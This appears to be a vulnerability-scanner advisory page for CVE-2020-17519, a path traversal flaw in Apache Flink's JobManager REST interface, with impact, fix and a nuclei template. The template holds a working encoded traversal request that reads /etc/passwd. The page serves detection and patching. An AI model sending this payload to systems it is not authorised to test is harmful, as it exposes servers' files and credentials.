Apache Flink - Local File Inclusion

Exploited in the wild. Listed by CISA on 2024-05-23; known to be used by ransomware.

highseverity

7.5CVSS score

98%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process (aka local file inclusion).

Impact

Unauthenticated attackers can read arbitrary files from the JobManager local filesystem, potentially exposing sensitive configuration files, credentials, and proprietary data.

Fix

Apply the latest security patches or upgrade to a patched version of Apache Flink to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-17519 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-17519

info:
  name: Apache Flink - Local File Inclusion
  author: pdteam
  severity: high
  description: Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process (aka local file inclusion).
  impact: |
    Unauthenticated attackers can read arbitrary files from the JobManager local filesystem, potentially exposing sensitive configuration files, credentials, and proprietary data.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Apache Flink to mitigate the vulnerability.
  reference:
    - https://github.com/B1anda0/CVE-2020-17519
    - https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d%40%3Cdev.flink.apache.org%3E
    - https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d@%3Cdev.flink.apache.org%3E
    - https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d@%3Cuser.flink.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17519
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-17519
    cwe-id: CWE-552
    epss-score: 0.98001
    epss-percentile: 0.99909
    cpe: cpe:2.3:a:apache:flink:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: flink
  tags: cve,cve2020,apache,lfi,flink,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from